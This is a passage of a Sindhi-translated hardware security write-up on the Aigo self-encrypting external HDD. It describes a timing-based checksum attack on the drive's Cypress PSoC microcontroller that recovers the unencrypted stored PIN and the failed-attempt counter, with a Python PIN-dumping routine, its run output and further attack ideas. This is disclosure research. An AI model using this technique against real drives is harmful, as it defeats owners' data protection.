نتيجو تمام خوشگوار نه هو، ڇاڪاڻ ته اتي ڪيتريون ئي تبديليون هيون. پر آخر ۾ مان اهو طئي ڪرڻ جي قابل ٿيس ته چيڪسم 120000 µs ۽ 140000 µs جي دير جي وچ ۾ تبديل ٿي ويو. پر ”پنڪوڊ“ جيڪو مون اتي ڏيکاريو هو مڪمل طور تي غلط هو - دير جي مائڪرو سيڪنڊ پروسيس جي هڪ نموني جي ڪري، جيڪو عجيب شيون ڪندو آهي جڏهن 0 ان ڏانهن منتقل ڪيو ويندو آهي.

پوءِ، لڳ ڀڳ 3 ڪلاڪ گذرڻ کان پوءِ، مون کي ياد آيو ته SROM سسٽم ڪال CheckSum هڪ دليل وصول ڪري ٿو جيئن ان پٽ جيڪو چيڪسم لاءِ بلاڪن جو تعداد بيان ڪري ٿو! اهو. اسان آساني سان پن ڪوڊ جي اسٽوريج ايڊريس کي مقامي ڪري سگھون ٿا ۽ "غلط ڪوششون" انسداد، 64 بائيٽ بلاڪ جي درستگي سان.

منهنجي شروعاتي رنسون هيٺين نتيجن کي پيدا ڪيو:

ريورسنگ ۽ هيڪنگ Aigo خود انڪرپٽنگ خارجي HDD ڊرائيو. حصو 2: سائپرس PSoC کان ڊمپ کڻڻ

پوءِ مون پن ڪوڊ بدلائي ”123456“ مان ”1234567“ ڪيو ۽ حاصل ڪيو:

ريورسنگ ۽ هيڪنگ Aigo خود انڪرپٽنگ خارجي HDD ڊرائيو. حصو 2: سائپرس PSoC کان ڊمپ کڻڻ

اهڙي طرح پن ڪوڊ ۽ غلط ڪوششن جو ڪائونٽر بلاڪ نمبر 126 ۾ محفوظ نظر اچي ٿو.

7.5. بلاڪ نمبر 126 جو ڍير کڻڻ

بلاڪ # 126 کي لڳ ڀڳ ڪٿي 125x64x18 = 144000μs، چيڪسم جي حساب جي شروعات کان وٺي، منهنجي مڪمل ڊمپ ۾، ۽ اهو ڪافي ممڪن لڳي ٿو. ان کان پوء، دستي طور تي ڪيترن ئي غلط ڊمپس کي ڇڪڻ کان پوء (جڏهن "ننڍي وقت جي انحراف" جي جمع ٿيڻ جي ڪري)، مون کي اهي بائيٽ حاصل ڪرڻ ختم ٿي ويا (145527 μs جي دير سان):

ريورسنگ ۽ هيڪنگ Aigo خود انڪرپٽنگ خارجي HDD ڊرائيو. حصو 2: سائپرس PSoC کان ڊمپ کڻڻ

اهو بلڪل واضح آهي ته پن ڪوڊ اڻ ڳڻي فارم ۾ ذخيرو ٿيل آهي! اهي قيمتون، يقينا، ASCII ڪوڊ ۾ لکيل نه آهن، پر جيئن اهو نڪتو، اهي ڪيپيسٽي ڪيبورڊ مان ورتل پڙهندڙن کي ظاهر ڪن ٿا.

آخرڪار، مون کي ڳولڻ لاء ڪجھ وڌيڪ ٽيسٽ ورتا جتي خراب ڪوشش جي انسداد کي ذخيرو ڪيو ويو. هتي نتيجو آهي:

ريورسنگ ۽ هيڪنگ Aigo خود انڪرپٽنگ خارجي HDD ڊرائيو. حصو 2: سائپرس PSoC کان ڊمپ کڻڻ

0xFF - مطلب آهي "15 ڪوششون" ۽ اهو هر ناڪام ڪوشش سان گهٽجي ٿو.

7.6. پن ڪوڊ جي بحالي

هتي منهنجو بدصورت ڪوڊ آهي جيڪو مٿين کي گڏ ڪري ٿو:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

هتي ان جي عمل جو نتيجو آهي:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

هوري! ڪم!

مھرباني ڪري نوٽ ڪريو ته ويڪرائي قدر جيڪي مون استعمال ڪيا آھن امڪاني طور ھڪڙي مخصوص PSoC سان لاڳاپيل آھن - ھڪڙو جيڪو مون استعمال ڪيو آھي.

8. اڳتي ڇا آهي؟

تنهن ڪري، اچو ته PSoC پاسي تي اختصار ڪريون، اسان جي Aigo ڊرائيو جي حوالي سان:

  • اسان پڙهي سگهون ٿا SRAM جيتوڻيڪ اهو پڙهيل محفوظ آهي.
  • اسان کولڊ بوٽ ٽريس حملي کي استعمال ڪندي ۽ سڌو پن ڪوڊ پڙهڻ سان مخالف سوائپ تحفظ کي نظرانداز ڪري سگھون ٿا.

بهرحال، اسان جي حملي ۾ ڪجهه خاميون آهن هم وقت سازي جي مسئلن جي ڪري. اهو هيٺين ريت بهتر ٿي سگهي ٿو:

  • "ٿڌي بوٽ ٽريس" حملي جي نتيجي ۾ حاصل ڪيل آئوٽ پٽ ڊيٽا کي صحيح طور تي ڊيڪوڊ ڪرڻ لاءِ يوٽيلٽي لکو؛
  • هڪ FPGA گيجٽ استعمال ڪريو وڌيڪ صحيح وقت جي دير ٺاهڻ لاءِ (يا Arduino هارڊويئر ٽائمر استعمال ڪريو)؛
  • ٻيو حملو ڪرڻ جي ڪوشش ڪريو: عمدي طور تي غلط پن ڪوڊ داخل ڪريو، ريبوٽ ڪريو ۽ ريم ڊمپ ڪريو، اميد آھي ته صحيح پن ڪوڊ مقابلي لاءِ RAM ۾ محفوظ ڪيو ويندو. بهرحال، اهو Arduino تي ڪرڻ ايترو آسان ناهي، ڇاڪاڻ ته Arduino سگنل ليول 5 وولٽ آهي، جڏهن ته بورڊ جنهن کي اسين جانچي رهيا آهيون اهو 3,3 وولٽ سگنلن سان ڪم ڪري ٿو.

ھڪڙي دلچسپ شيء جيڪا ڪوشش ڪري سگھجي ٿي وولٹیج جي سطح سان راند ڪرڻ لاء پڙھڻ جي حفاظت کي بائي پاس ڪرڻ لاء. جيڪڏهن اهو طريقو ڪم ڪيو، اسان فليش ڊرائيو مان بلڪل صحيح ڊيٽا حاصل ڪرڻ جي قابل ٿي سگهنداسين - هڪ چيڪسم پڙهڻ تي ڀروسو ڪرڻ بجاءِ غلط وقت جي دير سان.

جيئن ته SROM شايد ريڊ بلاڪ سسٽم ڪال ذريعي گارڊ بٽ پڙهي ٿو، اسان ساڳيو ڪم ڪري سگهون ٿا جيئن بيان ڪيل دمتري نيدوسپاسوف جي بلاگ تي - ڪرس گرلنسڪي جي حملي جو ٻيهر عمل، ڪانفرنس ۾ اعلان ڪيو ويو "ريڪون برسلز 2017".

هڪ ٻي مزيدار شيء جيڪا ٿي سگهي ٿي چپ کان ڪيس کي ختم ڪرڻ لاءِ: هڪ SRAM ڊمپ وٺڻ لاءِ ، غير دستاويزي نظام ڪالن ۽ ڪمزورين کي سڃاڻڻ.

9. نتيجو

تنهن ڪري، هن ڊرائيو جو تحفظ گهڻو ڪري گهربل هجي، ڇاڪاڻ ته اهو پن ڪوڊ کي محفوظ ڪرڻ لاءِ باقاعده (نه ”سخت“) مائڪرو ڪنٽرولر استعمال ڪندو آهي... ان سان گڏ، مون اڃا تائين نه ڏٺو آهي ته شيون ڪيئن ٿي رهيون آهن ڊيٽا سان. هن ڊوائيس تي انڪوشن!

توهان Aigo لاء ڇا سفارش ڪري سگهو ٿا؟ انڪريپٽ ٿيل HDD ڊرائيو جا ڪجھ ماڊل تجزيو ڪرڻ کان پوء، 2015 ۾ مون ٺاهيو پيشڪش SyScan تي، جنهن ۾ هن ڪيترن ئي خارجي HDD ڊرائيوز جي حفاظتي مسئلن جو جائزو ورتو، ۽ سفارشون ڏنيون ته انهن ۾ ڇا بهتر ٿي سگهي ٿو. 🙂

مون هن تحقيق ۾ ٻه هفتي ۽ ڪيترائي شام گذاريا. مجموعي طور تي اٽڪل 40 ڪلاڪ. ڳڻپ شروع کان وٺي (جڏهن مون ڊسڪ کوليو) آخر تائين (پن ڪوڊ ڊمپ). ساڳئي 40 ڪلاڪن ۾ اهو وقت شامل آهي جيڪو مون هن مضمون لکڻ ۾ گذاريو. اهو هڪ تمام دلچسپ سفر هو.

جو ذريعو: www.habr.com

تبصرو شامل ڪريو